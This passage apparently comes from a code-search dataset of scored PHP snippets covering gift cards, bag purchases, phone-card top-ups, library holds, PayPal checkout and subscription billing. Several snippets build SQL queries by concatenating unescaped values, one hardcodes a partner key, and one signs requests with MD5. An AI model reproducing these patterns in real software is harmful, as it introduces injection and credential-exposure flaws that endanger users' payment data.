$this->gift_cards_enabled)\n\t\t\tredirect ( '/' );\n\t\t\n\t\t// Load giftcard settings\n\t\t$gc_settings = $this->Settings_model->get_settings ( \"gift_cards\" );\n\t\t\n\t\t$this->load->library ( 'form_validation' );\n\t\t\n\t\t$this->data ['allow_custom_amount'] = ( bool ) $gc_settings ['allow_custom_amount'];\n\t\t$this->data ['preset_values'] = explode ( \",\", $gc_settings ['predefined_card_amounts'] );\n\t\t\n\t\tif ($this->data ['allow_custom_amount']) {\n\t\t\t$this->form_validation->set_rules ( 'custom_amount', 'lang:custom_amount', 'numeric|callback_giftcard_custom_amount_check' );\n\t\t}\n\t\t\n\t\t$this->form_validation->set_rules ( 'amount', 'lang:amount', 'required' );\n\t\t$this->form_validation->set_rules ( 'preset_amount', 'lang:preset_amount', 'numeric|callback_giftcard_preset_amount_check' );\n\t\t$this->form_validation->set_rules ( 'gc_to_name', 'lang:recipient_name', 'trim|required' );\n\t\t$this->form_validation->set_rules ( 'gc_to_email', 'lang:recipient_email', 'trim|required|valid_email' );\n\t\t$this->form_validation->set_rules ( 'gc_from', 'lang:sender_email', 'trim|required' );\n\t\t$this->form_validation->set_rules ( 'message', 'lang:custom_greeting', 'trim|required' );\n\t\t\n\t\tif ($this->form_validation->run () == FALSE) {\n\t\t\t$this->load->model ( array ('box_model' ) );\n\t\t\t$this->data ['boxes'] = $this->box_model->get_homepage_boxes ( 8 );\n\t\t\t\n\t\t\t$this->data ['error'] = validation_errors ();\n\t\t\t$this->data ['seo_title'] = lang ( 'giftcard' );\n\t\t\t$this->data ['page_title'] = lang ( 'giftcard' );\n\t\t\t$this->data ['gift_cards_enabled'] = $this->gift_cards_enabled;\n\t\t\t\n\t\t\t$this->data ['meta'] = $this->lang->line ( \"cn_description_giftcard\" );\n\t\t\t\n\t\t\tif (! $this->config->item ( 'compact_html' )) {\n\t\t\t\t$this->load->view ( 'partial_start', $this->data );\n\t\t\t\t$this->load->view ( 'giftcards', $this->data );\n\t\t\t\t$this->load->view ( 'partial_boxes', $this->data );\n\t\t\t\t$this->load->view ( 'partial_end', $this->data );\n\t\t\t} else {\n\t\t\t\t$this->compact_view ( $this->view ( 'partial_start', $this->data, TRUE ) );\n\t\t\t\t$this->compact_view ( $this->view ( 'giftcards', $this->data, TRUE ) );\n\t\t\t\t$this->compact_view ( $this->view ( 'partial_boxes', $this->data, TRUE ) );\n\t\t\t\t$this->compact_view ( $this->view ( 'partial_end', $this->data, TRUE ) );\n\t\t\t}\n\t\t} else {\n\t\t\t// add to cart\n\t\t\t$card ['price'] = set_value ( set_value ( 'amount' ) );\n\t\t\t\n\t\t\t$card ['id'] = - 1; // just a placeholder\n\t\t\t$card ['sku'] = lang ( 'giftcard' );\n\t\t\t$card ['base_price'] = $card ['price']; // price gets modified by options, show the baseline still...\n\t\t\t$card ['name'] = lang ( 'giftcard' );\n\t\t\t$card ['code'] = generate_code (); // from the string helper\n\t\t\t$card ['excerpt'] = sprintf ( lang ( 'giftcard_excerpt' ), set_value ( 'gc_to_name' ) );\n\t\t\t$card ['weight'] = 0;\n\t\t\t$card ['quantity'] = 1;\n\t\t\t$card ['shippable'] = false;\n\t\t\t$card ['taxable'] = 0;\n\t\t\t$card ['fixed_quantity'] = true;\n\t\t\t$card ['is_gc'] = true; // !Important\n\t\t\t$card ['track_stock'] = false; // !Imporortant\n\t\t\t\n\n\t\t\t$card ['gc_info'] = array (\"to_name\" => set_value ( 'gc_to_name' ), \"to_email\" => set_value ( 'gc_to_email' ), \"from\" => set_value ( 'gc_from' ), \"personal_message\" => set_value ( 'message' ) );\n\t\t\t\n\t\t\t// add the card data like a product\n\t\t\t$this->go_cart->insert ( $card );\n\t\t\t\n\t\t\tredirect ( 'cart/view_cart' );\n\t\t}\n\t}", "title": "" }, { "docid": "8dedcc3c2f990bd6eee8525a97a822b8", "score": "0.55597985", "text": "public function buyBagAction() {\r\n\t\t\r\n\t\t$o = new stdClass();\r\n\t\t$o->code = 0;\r\n\t\t$o->message = \"\";\r\n\t\t\r\n\t\ttry {\r\n\t\t\t\r\n\t\t\tif(!$this->_isLogged()) throw new Exception(\"Tu sesión ha expirado. Serás redirigido automáticamente al inicio.\", 1000);\r\n\t\t\t\r\n\t\t\t// ID de la bolsa + potencial código descuento\r\n\t\t\t$idBag = trim($this->input->post(\"bag\"));\r\n\t\t\t$code = trim($this->input->post(\"ca\")); // código activo\r\n\t\t\t\r\n\t\t\tif(empty($idBag)) throw new Exception(\"No se han recibido todos los parámetros para procesar la solicitud\", 1001);\r\n\t\t\t\r\n\t\t\t// Obtiene la bolsa con el id\r\n\t\t\t$oBag = json_decode($this->services->getBagByIdBag($idBag));\r\n\t\t\tif(is_null($oBag->result)) throw new Exception(\"La bolsa seleccionada no existe en el sistema\", 1002);\r\n\t\t\t\r\n\t\t\t// Generación transacción\r\n\t\t\t$oUser = $this->_getUser();\r\n\t\t\t$idUser = $oUser->idUser;\r\n\t\t\t\r\n\t\t\t// Se implementa restricción en el máximo de compra de bolsas\r\n\t\t\t// Solo se puede {MAX_BAGS_BOUGHT} al día\r\n\t\t\t$fStart = date(\"Y-m-d H:i:s\", mktime(0,0,0)); \r\n\t\t\t$fEnd = date(\"Y-m-d H:i:s\", mktime(23,59,59));\r\n\t\t\t$totalPurchases = $this->services->allowBuyBag($idUser, $fStart, $fEnd);\r\n\t\t\t\r\n\t\t\tif(empty($totalPurchases)) throw new Exception(\"No se pudo conectar con el servicio\", 1002);\r\n\t\t\t\r\n\t\t\t$oTotalPurchases = json_decode($totalPurchases);\r\n\t\t\t\r\n\t\t\tif((int)$oTotalPurchases->code == 0) {\r\n\t\t\t\t// Verifica resultado\r\n\t\t\t\tif(!$oTotalPurchases->result) throw new Exception($oTotalPurchases->message, 1004);\r\n\t\t\t} else {\r\n\t\t\t\t// Sucedió error\r\n\t\t\t\tthrow new Exception($oTotalPurchases->message, 1003);\r\n\t\t\t}\r\n\t\t\r\n\t\t\t// Si viene código promocional (encriptado), lo valida\r\n\t\t\t$ca = NULL;\r\n\t\t\tif(!empty($code)) {\r\n\t\t\t\t$decrypt = $this->_decodeData($code);\r\n\t\t\t\tif($decrypt->code != 0) throw new Exception(\"Ha ocurrido un error en el proceso, por favor, inténtalo nuevamente en unos instantes\", 1004);\r\n\t\t\t\t$arr = explode(self::pivot, $decrypt->result);\r\n\t\t\t\t$code = $arr[0];\r\n\t\t\t\t\r\n\t\t\t\t$campaign = json_decode($this->services->getCampaignByCode($idUser, $code));\r\n\t\t\t\tif($campaign->code != 0) throw new Exception($campaign->message, 1006);\r\n\t\t\t\t\r\n\t\t\t\t$resCampaign = $campaign->result;\r\n\t\t\t\t\r\n\t\t\t\t$ca = $resCampaign->code;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t// CREA LA TRANSACCIÓN PARA INTENTO DE COMPRA DE BOLSA\r\n\t\t\t$doBuy = json_decode($this->services->buyBag($idUser, $idBag, $ca));\r\n\t\t\tif($doBuy->code != 0) throw new Exception(\"Lo sentimos, pero no se pudo obtener la información de la bolsa seleccionada\", 1003);\r\n\t\t\t\r\n\t\t\t// Envía a medios de pago\r\n\t\t\t// Encripta trx de resultado\r\n\t\t\t$encoded = $this->_encodeData($doBuy->result);\r\n\t\t\t$o->result = base_url().\"core/listPaymentMethods/\".$encoded->result;\r\n\t\t\t\r\n\t\t} catch(Exception $e) {\r\n\t\t\t$o->code = $e->getCode();\r\n\t\t\t$o->message = $e->getMessage();\r\n\t\t\tif($o->code == 1000) $o->result = base_url();\r\n\t\t}\r\n\t\t\r\n\t\t$this->outputJson($o);\r\n\t\t\r\n\t}", "title": "" }, { "docid": "990e188344956741116b3398ce5a1b7f", "score": "0.55515367", "text": "function restserver($id, $user_id, $card_seri, $card_code, $provider_code, $username, $card_value, $conversion_price)\n{\n $PartnerCode = 'ssg';\n $partnerKey = '57f4131362d461f560b31739d042fd14';\n $CardSerial = $card_seri;\n $CardCode = $card_code;\n $CardType = $provider_code;\n $AccountName = $username;\n $AppCode = $CardType . '_port_ssg';\n $AmountUser = $card_value;\n\n $RefCode_ = 'RefCode_' . strtotime(date('Y-m-d H:i:s'));\n $RequestContent = '{\"CardSerial\":\"' . $CardSerial . '\",\"CardCode\":\"' . $CardCode . '\",\"CardType\":\"' . $CardType . '\",\"AccountName\":\"' . $AccountName . '\",\"AppCode\":\"' . $AppCode . '\",\"RefCode\":\"' . $RefCode_ . '\",\"AmountUser\":\"' . $AmountUser . '\"}';\n//pre($RequestContent);\n//die();\n $data = array(\n 'PartnerCode' => $PartnerCode,\n 'ServiceCode' => 'cardtelco',\n 'CommandCode' => 'usecard',\n 'RequestContent' => $RequestContent,\n 'Signature' => md5($PartnerCode . 'cardtelco' . 'usecard' . $RequestContent . $partnerKey),\n );\n $data_string = json_encode($data);\n//var_dump($data_string);\n//echo $data_string;\n//echo '<hr/>';\n $curl = curl_init('https://apicard.bb2d.com/VPGJsonService.ashx');\n\n curl_setopt($curl, CURLOPT_CUSTOMREQUEST, \"POST\");\n\n curl_setopt($curl, CURLOPT_HTTPHEADER, array(\n 'Content-Type: application/json',\n 'Content-Length: ' . strlen($data_string))\n );\n\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // Make it so the data coming back is put into a string\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data_string); // Insert the data\n\n// Send the request\n $result = curl_exec($curl);\n\n// Free up the resources $curl is using\n curl_close($curl);\n\n// echo $result . '<br/>';\n\n//$result = '{\"ResponseCode\":1,\"Description\":\"Transaction is successful\",\"ResponseContent\":\"10000\",\"Signature\":\"111e47abb77cb85d3fa6ed5e4bf2ddf2\"}';\n\n $result_arr = json_decode($result, true);\n var_dump($result_arr) . '<br/>';\n// echo '<br/>';\n echo 'ResponseCode: ' . $result_arr['ResponseCode'] . '<br/>';\n echo 'ResponseContent: ' . $result_arr['ResponseContent'] . '<br/>';\n //process\n if (isset($result_arr['ResponseCode'])) {\n $response = '';\n if ($result_arr['ResponseCode'] == '1') {\n $response = 'Nạp thẻ thành công';\n }\n if ($result_arr['ResponseCode'] != '1') {\n $response = 'Thẻ không hợp lệ';\n $card_value = $conversion_price = 0;\n }\n $fuck = \"UPDATE `hub68club_logs`.`pay_cards` SET `price` = '\" . $card_value . \"',`response` = '\" . $response . \"', \n `description` = '\" . $result_arr['Description'] . \"',\n `admin` = '\" . $AppCode . \"',`status` = '\" . $result_arr['ResponseCode'] . \"' WHERE `id` = '\" . $id . \"' \";\n// echo $fuck;\n// die();\n// echo $_POST['tid']. '-----'. $_POST['admin'];\n $update = mysql_query(\"$fuck\") or die('error update: ' . mysql_error());\n if ($update && $card_value > 0) {\n $string = \"INSERT INTO hub68club.admin_add(user_id,money, sub,note,admin)\n\t\t\t\t\tVALUES ('\" . $user_id . \"','\" . $conversion_price . \"','0','Cộng tiền nạp card','\" . $AppCode . \"')\";\n $querry = mysql_query(\"$string\") or die (\"error add money \" . mysql_error());\n// echo $string;\n// die();\n if (!$querry) echo(mysql_error());\n else {\n echo \"cộng tiền Thành công\";\n }\n }\n }\n}", "title": "" }, { "docid": "a92d9a6db9bee78a4701ee07b86b1e0c", "score": "0.5547141", "text": "function sopac_request_item() {\n global $user;\n // avoid php errors when debugging\n $varname = $request_result_msg = $request_error_msg = $item_form = $bnum = NULL;\n\n $button_txt = t( 'Request Selected Item' );\n profile_load_profile( &$user );\n if ( $user->uid && sopac_bcode_isverified( &$user ) ) {\n // support multi-branch & user home branch\n $actions = sopac_parse_uri();\n $bnum = $actions[1];\n $pickup_arg = $actions[2] ? $actions[2] : NULL;\n $pickup_name = $actions[3] ? $actions[3] : NULL;\n $locum = sopac_get_locum();\n $bib_item = $locum->get_bib_item( $bnum );\n $hold_result = $locum->place_hold( $user->profile_pref_cardnum, $bnum, $varname, $user->locum_pass, $pickup_arg );\n\n if ( $hold_result['success'] ) {\n // handling multi-branch scenario\n $request_result_msg = t( 'You have successfully requested a copy of ' ) . '<span class=\"req_bib_title\"> ' . $bib_item['title'] . '</span>';\n if ( $pickup_name ) {\n $request_result_msg .= t( ' for pickup at ' ) . $pickup_name;\n }\n }\n else {\n $request_result_msg = t( 'We were unable to fulfill your request for ' ) . '<span class=\"req_bib_title\">' . $bib_item['title'] . '</span>';\n }\n\n if ( $hold_result['error'] ) {\n $request_result_msg = $hold_result['error'];\n }\n\n if ( $hold_result['selection'] && !$hold_result['success'] ) {\n $requestable = 0;\n $header = array( '', t( 'Location' ), t( 'Call Number' ), t( 'Status' ) );\n foreach ( $hold_result['selection'] as $selection ) {\n $status = $selection['status'];\n if ( $selection['varname'] ) {\n $radio = '<input type=\"radio\" name=\"varname\" value=\"' . $selection['varname'] . '\">';\n $non_circ = NULL;\n $requestable++;\n }\n else {\n $radio = '';\n $status = '<span class=\"non_circ_msg\">' . $status . '</span>';\n }\n $rows[] = array(\n $radio,\n $selection['location'],\n $selection['callnum'],\n $status,\n );\n }\n if ( $requestable ) {\n $submit_button = '<input type=\"submit\" name=\"sub_type\" value=\"' . $button_txt . '\">';\n $request_result_msg = t( 'Please select the item you would like to request.' );\n }\n else {\n $submit_button = NULL;\n $request_result_msg = '';\n $request_error_msg = t( 'There are no copies of this item available for circulation.' );\n }\n if ( $submit_button ) {\n $rows[] = array( 'data' => array( array( 'data' => $submit_button, 'colspan' => 4 ) ), 'class' => 'req_button' );\n }\n $item_form = '<form method=\"post\">' . theme( 'table', $header, $rows, array( 'id' => 'reqlist', 'cellspacing' => '0' ) ) . '</form>';\n }\n\n // TODO - add a tally for top items data recovery\n }\n else {\n $request_error_msg = t( \"You must have a valid library card number registered with our system.\" );\n }\n $result_page = theme( 'sopac_request', $request_result_msg, $request_error_msg, $item_form, $bnum );\n return '<p>'. t( $result_page ) .'</p>';\n}", "title": "" }, { "docid": "3731088aec611e66c499673a5e4e16c9", "score": "0.55421656", "text": "public function payWithPaypal() {\n //purchase parameters\n $mmnumber = Input::get('number');\n $apikey = Input::get('apikey');\n $amounttosend = Input::get('amount');\n $currency = Input::get('currency');\n $item = Input::get('item_name');\n $cancel_url = Input::get('cancel_url');\n $confirm_url = Input::get('confirm_url');\n // $cno = Input::get('cardnumber');\n $developers = Developer::where('dev_key', '=',$apikey)\n ->where('dev_status', '=', 1)\n ->limit(1)\n ->get();\n if($developers != null){\n foreach($developers as $developer){\n $mmnumber = $developer->dev_email.' | '.$developer->dev_number.' | '.$developer->dev_username;\n $type = $developer->dev_paymentprovider;\n // echo $mmnumber;\n // echo '<BR/>'.$type;\n }\n }else{\n Redirect::away($cancel_url);\n }\n \n $charges = new PlatformCharges($amounttosend, $currency, $type);\n// $desc = $charges->getReceiverType($type);\n \n Session::set('destProvider', $type);\n Session::set('destination', $mmnumber);\n\n $payer = new Payer();\n $payer->setPaymentMethod('paypal');// Valid Values: [\"credit_card\", \"bank\", \"paypal\", \"pay_upon_invoice\", \"carrier\"]\n \n //TODO:: try to deduce the receiver type (email or number) and set the payerinfo data correctly for consistency\n $payerInfo = new PayerInfo();\n $payerInfo->setFirstName($mmnumber); //used to represent the receiver name/number/email\n $payerInfo->setLastName('Item: '); //used to pass the transaction type in the request\n \n $payer->setPayerInfo($payerInfo);\n \n $item_1 = new Item();\n $item_1->setName('Item purchase') // item name\n ->setDescription(\"Purchase made for $item\")\n \t ->setCurrency('USD')\n \t ->setQuantity(1)\n \t ->setPrice($charges->getDueAmount('pp', $type) ); // unit price\n \n \t// add item to list\n $item_list = new ItemList();\n $item_list->setItems(array($item_1));\n \n $amount = new Amount();\n $amount->setCurrency('USD')\n ->setTotal($charges->getDueAmount('pp', $type) );\n \n $transaction = new Transaction();\n $transaction->setAmount($amount)\n \t\t ->setItemList($item_list)\n \t\t ->setDescription('Payment for $item');\n \n $redirect_urls = new RedirectUrls();\n $redirect_urls->setReturnUrl(URL::route('api/merchantapi/paypalconfirm'))\n \t\t ->setCancelUrl(URL::route('api/merchantapi/paypalcancel'));\n \n $payment = new Payment();\n $payment->setIntent('sale')\n \t ->setPayer($payer)\n \t ->setRedirectUrls($redirect_urls)\n \t ->setTransactions(array($transaction));\n \n \ttry {\n $payment->create($this->_api_context);\n foreach($payment->getLinks() as $link) {\n if($link->getRel() == 'approval_url') {\n $redirect_url = $link->getHref();\n break;\n }\n }\n // var_dump($payment->getLinks());\n // var_dump($redirect_url);\n // add payment ID to session\n Session::put('paypal_payment_id', $payment->getId());\n header('Location: '.$redirect_url);\n exit;\n// return isset($redirect_url)?Redirect::away($redirect_url): \"Error!!Paypal Checkout error\";\n \n } catch (\\PayPal\\Exception\\PPConnectionException $ex) {\n if (\\Config::get('app.debug')) {\n echo \"Exception: \" . $ex->getMessage() . PHP_EOL;\n $err_data = json_decode($ex->getData(), true);\n return Redirect::route($cancel_url)\n ->with('alertError', 'Connection error. $err_data');\n exit;\n } else {\n return Redirect::route($cancel_url)\n ->with('alertError', 'Connection error occured. Please try again later. '.$ex->getMessage());\n // die('Some error occurred, sorry for the inconvenience. Our team has been notified to correct this error.');\n }\n }catch(Exception $ex){\n return Redirect::route($cancel_url)\n ->with('alertError', 'Error! '.$ex->getMessage());\n }\n }", "title": "" }, { "docid": "9f0208dbef9cf398c4645daa441eaba5", "score": "0.55371207", "text": "function addPayment($user_id, \r\n\t\t\t\t\t\t\t\t$chosen_plan, \r\n\t\t\t\t\t\t\t\t$plan_period, \r\n\t\t\t\t\t\t\t\t$amount, \r\n\t\t\t\t\t\t\t\t$pymt_type, \r\n\t\t\t\t\t\t\t\t$cart_id, \r\n\t\t\t\t\t\t\t\t$card_logo,\r\n\t\t\t\t\t\t\t\t$card_number, \r\n\t\t\t\t\t\t\t\t$ip_address, \r\n\t\t\t\t\t\t\t\t$sip_price_per_min, \r\n\t\t\t\t\t\t\t\t$did_price_per_month, \r\n\t\t\t\t\t\t\t\t$did_set_up_price, \r\n\t\t\t\t\t\t\t\t$minutes_credited,\r\n\t\t\t\t\t\t\t\t$is_new_did,\r\n\t\t\t\t\t\t\t\t$payment_reversed=0,\r\n\t\t\t\t\t\t\t\t$is_auto_renewal=0,\r\n\t\t\t\t\t\t\t\t$gbp_to_aud_rate,\r\n\t\t\t\t\t\t\t\t$pymt_gateway, \r\n\t\t\t\t\t\t\t\t$wp_transId,\r\n\t\t\t\t\t\t\t\t$wp_transStatus,\r\n\t\t\t\t\t\t\t\t$transTime,\r\n\t\t\t\t\t\t\t\t$pp_sender_trans_id,\r\n\t\t\t\t\t\t\t\t$pp_sender_trans_status,\r\n\t\t\t\t\t\t\t\t$pp_receiver_trans_id,\r\n\t\t\t\t\t\t\t\t$pp_receiver_trans_status,\r\n\t\t\t\t\t\t\t\t$pp_sender_email,\r\n\t\t\t\t\t\t\t\t$auto_renewal=false){\r\n\t\t\tif($pymt_gateway==\"PayPal\"){\r\n\t\t\t\t$query = \"select * from payments_received where pp_receiver_trans_id='$pp_receiver_trans_id'\";\r\n\t\t\t}elseif($pymt_gateway==\"WorldPay\" || $pymt_gateway==\"Credit_Card\"){\r\n\t\t\t\t$query = \"select * from payments_received where wp_transId='$wp_transId'\";\r\n\t\t\t}elseif($pymt_gateway==\"AccountCredit\"){\r\n\t\t\t\t//No need to check for existing record in case payment is from Account Credit\r\n\t\t\t}else{\r\n\t\t\t\treturn \"Error: Unknown payment gateway : $pymt_gateway for cart ID: $cart_id\";\r\n\t\t\t}\r\n\t\t\tif($pymt_gateway!=\"AccountCredit\"){\r\n\t\t\t\t$result = mysql_query($query);\r\n\t\t \r\n\t\t if(mysql_error()==\"\"){\r\n\t\t \tif(mysql_num_rows($result)!=0){\r\n\t\t \t\t//A record already exists in payments_received for cart_id $cart_id.\r\n\t\t \t\t//Simply return the id of this record from here\r\n\t\t \t\t$row = mysql_fetch_array($result);\r\n\t\t\t \treturn $row[\"id\"];\r\n\t\t \t}\r\n\t\t }else{\r\n\t\t \treturn \"Error: An error occurred while checking if a payments_recieved record exists for cart ID: $cart_id. Error is: \".mysql_error().\" Query is: \".$query;\r\n\t\t }\r\n\t\t\t}\r\n\t \r\n\t\t\tif(trim($pymt_type)==\"AccountCredit\"){\r\n\t\t\t\t$did_price_per_month_local = 0;\r\n\t\t\t\t$did_set_up_price_local = 0;\r\n\t\t\t}else{\r\n\t\t\t\t$did_price_per_month_local = $did_price_per_month;\r\n\t\t\t\t$did_set_up_price_local = $did_set_up_price;\r\n\t\t\t}\r\n\t\t\tif($chosen_plan == \"\"){\r\n\t\t\t\t$chosen_plan_local = 0;\r\n\t\t\t}else{\r\n\t\t\t\t$chosen_plan_local = $chosen_plan;\r\n\t\t\t}\r\n\t\t\tif($plan_period == \"\"){\r\n\t\t\t\t$plan_period_local = \"M\";\r\n\t\t\t}else{\r\n\t\t\t\t$plan_period_local = $plan_period;\r\n\t\t\t}\r\n\t\t\tif($card_logo == \"\"){\r\n\t\t\t\t$card_logo_local = \"NULL\";\r\n\t\t\t}else{\r\n\t\t\t\t$card_logo_local = \"'$card_logo'\";\r\n\t\t\t}\r\n\t\t\tif($card_number==\"\"){\r\n\t\t\t\t$card_number_local = \"NULL\";\r\n\t\t\t}else{\r\n\t\t\t\t$card_number_local = $card_number;\r\n\t\t\t}\r\n\t\t\tif(trim($wp_transId)==\"\"){\r\n\t\t\t\t$wp_transId_local = \"NULL\";\r\n\t\t\t}else{\r\n\t\t\t\t$wp_transId_local = \"'$wp_transId'\";\r\n\t\t\t}\r\n\t\t\tif(trim($wp_transStatus)==\"\"){\r\n\t\t\t\t$wp_transStatus_local = \"NULL\";\r\n\t\t\t}else{\r\n\t\t\t\t$wp_transStatus_local = \"'$wp_transStatus'\";\r\n\t\t\t}\r\n\t\t\tif(trim($transTime)==\"\" || $transTime == \"0000-00-00 00:00:00\"){\r\n\t\t\t\t$transTime_local = \"NOW()\";\r\n\t\t\t}else{\r\n\t\t\t\t$transTime_local = \"'$transTime'\";\r\n\t\t\t}\r\n\t\t\tif(trim($pp_sender_trans_id)==\"\"){\r\n\t\t\t\t$pp_sender_trans_id_local = \"NULL\";\r\n\t\t\t}else{\r\n\t\t\t\t$pp_sender_trans_id_local = \"'$pp_sender_trans_id'\";\r\n\t\t\t}\r\n\t\t\tif(trim($pp_sender_trans_status)==\"\"){\r\n\t\t\t\t$pp_sender_trans_status_local = \"NULL\";\r\n\t\t\t}else{\r\n\t\t\t\t$pp_sender_trans_status_local = \"'$pp_sender_trans_status'\";\r\n\t\t\t}\r\n\t\t\tif(trim($pp_receiver_trans_id)==\"\"){\r\n\t\t\t\t$pp_receiver_trans_id_local = \"NULL\";\r\n\t\t\t}else{\r\n\t\t\t\t$pp_receiver_trans_id_local = \"'$pp_receiver_trans_id'\";\r\n\t\t\t}\r\n\t\t\tif(trim($pp_receiver_trans_status)==\"\"){\r\n\t\t\t\t$pp_receiver_trans_status_local = \"NULL\";\r\n\t\t\t}else{\r\n\t\t\t\t$pp_receiver_trans_status_local = \"'$pp_receiver_trans_status'\";\r\n\t\t\t}\r\n\t\t\tif(trim($pp_sender_email)==\"\"){\r\n\t\t\t\t$pp_sender_email_local = \"NULL\";\r\n\t\t\t}else{\r\n\t\t\t\t$pp_sender_email_local = \"'$pp_sender_email'\";\r\n\t\t\t}\r\n\t\t\tif($auto_renewal == true){\r\n\t\t\t\t$sp_captured = 'Y';\r\n\t\t\t\t$sp_details = 'auto renew captured';\r\n\t\t\t}else{\r\n\t\t\t\t$sp_captured = 'N';\r\n\t\t\t\t$sp_details = 'not yet';\r\n\t\t\t}\t\t\r\n\t\t\t$query = \"insert into payments_received (\r\n\t\t\t\t\t\t\tuser_id, \r\n\t\t\t\t\t\t\tchosen_plan, \r\n\t\t\t\t\t\t\tplan_period,\r\n\t\t\t\t\t\t\tamount,\r\n\t\t\t\t\t\t\tpymt_type, \r\n\t\t\t\t\t\t\tcart_id, \r\n\t\t\t\t\t\t\tcard_logo, \r\n\t\t\t\t\t\t\tcard_number, \r\n\t\t\t\t\t\t\tip_address,\r\n\t\t\t\t\t\t\tsip_price_per_min, \r\n\t\t\t\t\t\t\tdid_price_per_month, \r\n\t\t\t\t\t\t\tdid_set_up_price, \r\n\t\t\t\t\t\t\tminutes_credited,\r\n\t\t\t\t\t\t\tis_new_did,\r\n\t\t\t\t\t\t\tpayment_reversed,\r\n\t\t\t\t\t\t\tis_auto_renewal,\r\n\t\t\t\t\t\t\tgbp_to_aud_rate, \r\n\t\t\t\t\t\t\tpymt_gateway, \r\n\t\t\t\t\t\t\twp_transId, \r\n\t\t\t\t\t\t\twp_transStatus, \r\n\t\t\t\t\t\t\ttransTime, \r\n\t\t\t\t\t\t\tpp_sender_trans_id, \r\n\t\t\t\t\t\t\tpp_sender_trans_status, \r\n\t\t\t\t\t\t\tpp_receiver_trans_id, \r\n\t\t\t\t\t\t\tpp_receiver_trans_status, \r\n\t\t\t\t\t\t\tpp_sender_mail,\r\n\t\t\t\t\t\t\tsp_captured,\r\n\t\t\t\t\t\t\tsp_details\r\n\t\t\t\t\t\t\t) values (\r\n\t\t\t\t\t\t\t$user_id, \r\n\t\t\t\t\t\t\t$chosen_plan_local, \r\n\t\t\t\t\t\t\t'$plan_period_local',\r\n\t\t\t\t\t\t\t$amount,\r\n\t\t\t\t\t\t\t'$pymt_type', \r\n\t\t\t\t\t\t\t$cart_id, \r\n\t\t\t\t\t\t\t$card_logo_local,\r\n\t\t\t\t\t\t\t$card_number_local, \r\n\t\t\t\t\t\t\t'$ip_address',\r\n\t\t\t\t\t\t\t$sip_price_per_min, \r\n\t\t\t\t\t\t\t$did_price_per_month_local, \r\n\t\t\t\t\t\t\t$did_set_up_price_local, \r\n\t\t\t\t\t\t\t$minutes_credited,\r\n\t\t\t\t\t\t\t$is_new_did,\r\n\t\t\t\t\t\t\t$payment_reversed,\r\n\t\t\t\t\t\t\t$is_auto_renewal,\r\n\t\t\t\t\t\t\t$gbp_to_aud_rate, \r\n\t\t\t\t\t\t\t'$pymt_gateway', \r\n\t\t\t\t\t\t\t$wp_transId_local, \r\n\t\t\t\t\t\t\t$wp_transStatus_local, \r\n\t\t\t\t\t\t\t$transTime_local, \r\n\t\t\t\t\t\t\t$pp_sender_trans_id_local, \r\n\t\t\t\t\t\t\t$pp_sender_trans_status_local, \r\n\t\t\t\t\t\t\t$pp_receiver_trans_id_local, \r\n\t\t\t\t\t\t\t$pp_receiver_trans_status_local,\r\n\t\t\t\t\t\t\t$pp_sender_email_local,\r\n\t\t\t\t\t\t\t'$sp_captured',\r\n\t\t\t\t\t\t\t'$sp_details'\r\n\t\t\t\t\t\t\t)\";\r\n\t\t\tmysql_query($query);\r\n\t\t\tif(mysql_error() == \"\"){\r\n\t\t\t\treturn mysql_insert_id();\r\n\t\t\t}else{\r\n\t\t\t\treturn \"Error: An error occurred while adding payments_recieved record. Error is: \".mysql_error().\" Query is: \".$query;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}", "title": "" }, { "docid": "c120c6f5d189f9cb495f501e59768844", "score": "0.553393", "text": "public function ChangeSubscriptionType($request){\n\t\t$newProductID = $request->param('ProductID');\n\t\t//Get InfusionSoft Api\n\t\t$app = $this->getInfusionSoftApi();\n\t\t// Get AttentionWizard member\n\t\t$member = Member::currentUser();\n\t\t// Get IndusionSoft contact ID\n\t\t$isConID = $member->ISContactID;\n\t\t//Get current date\n\t\t$curdate = $app->infuDate(date('j-n-Y'));\n\t\t// Get the current subscription\n\t\t$subscription = $this->getCurrentSubscription($member->ID);\n\t\t//Get old order\n\t\t$oldOrder = $subscription->Order();\n\t\t//Get new product\n\t\t$product = Product::get()->byID($newProductID);\n\t\t$credits = $product->Credits;\n\t\t$isProductID = $product->ISInitialProductID;\n\t\t// Get the current InfusionSoft credit card ID\n\t\t$creditCard = $this->getCurrentCreditCard($member->ID);\n\t\tif(!$creditCard){\n\t\t\t$this->setMessage('Error', 'Sorry,the payment failed,please update your credit card.');\n\t\t\treturn $this->redirect('/account-settings/#tabs-2');\n\t\t}\n\t\t$ccID = $creditCard->ISCCID;\n\t\t$subscriptionID = $this->createISSubscription($isConID,$product->ISProductID, $product->RecurringPrice, $ccID, 30);\n\t\tif($subscriptionID && is_int($subscriptionID)){\n\t\t\t// Create an order\n\t\t\t$order = new Order();\n\t\t\t$order->OrderStatus = 'P';\n\t\t\t$order->Amount = $product->RecurringPrice;\n\t\t\t$order->MemberID = $member->ID;\n\t\t\t$order->ProductID = $newProductID;\n\t\t\t$order->CreditCardID = $creditCard->ID;\n\t\t\t$orderID = $order->write();\n\t\t\t//Create an infusionsoft order\n\t\t\t$config = SiteConfig::current_site_config(); \n\t\t\t$invoiceId = $app->blankOrder($isConID,$product->Name, $curdate, 0, 0);\n\t\t\t$orderItem = $app->addOrderItem($invoiceId, $isProductID, 9, floatval($product->RecurringPrice), 1,$product->Name, $product->Name);\n\t\t\t$result = $app->chargeInvoice($invoiceId,$product->Name,$ccID,$config->MerchantAccount,false);\n\t\t\tif($result['Successful']){\n\t\t\t\t//Set the current subscription to Inactive\n\t\t\t\t$this->setSubscriptionStatus($subscription->SubscriptionID, 'Inactive');\n\t\t\t\t//Remove trial tag if exists\n\t\t\t\t$app->grpRemove($isConID, 2216);\n\t\t\t\t//get old Tag ID\n\t\t\t\tif($this->isTrialMember($member->ID))\n\t\t\t\t\t$oldISTagID = 2216;\n\t\t\t\telse\n\t\t\t\t\t$oldISTagID = $this->getISTagIdByProduct($oldOrder->ProductID);\n\t\t\t\t//Remove old tag ID\n\t\t\t\t$app->grpRemove($isConID, $oldISTagID);\n\t\t\t\t$newISTagID = $this->getISTagIdByProduct($newProductID);\n\t\t\t\t//Add new tag ID\n\t\t\t\t$app->grpAssign($isConID, $newISTagID);\n\t\t\t\t//Add a note\n\t\t\t\t$conActionDat = array('ContactId' => 